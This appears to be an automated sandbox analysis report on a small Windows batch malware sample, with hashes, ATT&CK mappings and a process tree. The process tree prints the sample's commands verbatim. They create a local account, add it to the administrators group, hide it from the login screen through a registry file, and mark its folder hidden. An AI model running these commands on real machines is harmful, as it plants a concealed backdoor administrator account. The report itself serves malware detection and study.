b2037a90ddb4e617bf6f56d3bdc59c29f241f847b65bb9c409ea3ec4222b1c9f

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/09/2026, 10:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118__8cb9b743f2608aa4975e40957734e8d0.bat
Size 818B
Sample260919-me35daeb59
SHA256 b2037a90ddb4e617bf6f56d3bdc59c29f241f847b65bb9c409ea3ec4222b1c9f
MD5 8cb9b743f2608aa4975e40957734e8d0
SHA1 555dc31e9290dbd67dd96ed137ac8615713195ba
SHA512 6373148c3c87d512c7700123aaae565cd6ebb99a054cfd3c987ddcc24c5c4fcc0446acbf4a83058da8889197927faebbe7d3d3dd019aa0f2222f42db8da3d9c9
TLSH
T18601123B20DD07115A201325381D911D33A2A02B56D26C293DFBE128B2E39DF483C9CD
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2156	attrib.exe

Modifies visibility of existing users in the login screen 1 TTPs 1 IoCs

A user account was hidden or made visible on the Windows login screen through a registry modification.

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\illwill = "0"	regedit.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
5204	net.exe
4120	net1.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4408	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Runs .reg file with regedit 1 IoCs

pid	Process
4912	regedit.exe

Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4408 wrote to memory of 5204	4408	cmd.exe	90
PID 5204 wrote to memory of 4120	5204	net.exe	91
PID 4408 wrote to memory of 1304	4408	cmd.exe	92
PID 1304 wrote to memory of 2944	1304	net.exe	93
PID 4408 wrote to memory of 4912	4408	cmd.exe	94
PID 4408 wrote to memory of 2156	4408	cmd.exe	95

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2156	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118__8cb9b743f2608aa4975e40957734e8d0.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Windows\system32\net.exe
  net user illwill password /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:5204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user illwill password /add
    3⤵
    - Creates a new local user account
    PID:4120
- C:\Windows\system32\net.exe
  net localgroup administrators illwill /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators illwill /add
    3⤵
    PID:2944
- C:\Windows\regedit.exe
  REGEDIT /S c:\hide.REG
  2⤵
  - Modifies visibility of existing users in the login screen
  - Runs .reg file with regedit
  PID:4912
- C:\Windows\system32\attrib.exe
  attrib +r +a +s +h C:\docume~1\illwill
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2156

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Account Manipulation

T1098

Create Account

T1136

Local Account

T1136.001

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hide.reg

Path \??\c:\hide.reg
Size 165B
SHA256 3b8cc2a08d66baff9869ced4d7c52cefd113b21872cc31c7a82706b1f7abff52
MD5 f3d442db0135b39957795c0633ba3ed5
SHA1 62d94526795a1ed57cf585abd33a223c0d847908
SHA512 d4ec18df6d97b2b472ec2a5c130f1575be8b2be9dcd77b28943531fde4ed173f807b68761517fb4a5e88f2448c97064e29a7982a459d238e92c353925bbe60b6
TLSH
T1B4C080A54D148257D2F175000D17612623F0721774C3A65400E3D0C03AE25C7455D1DB
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads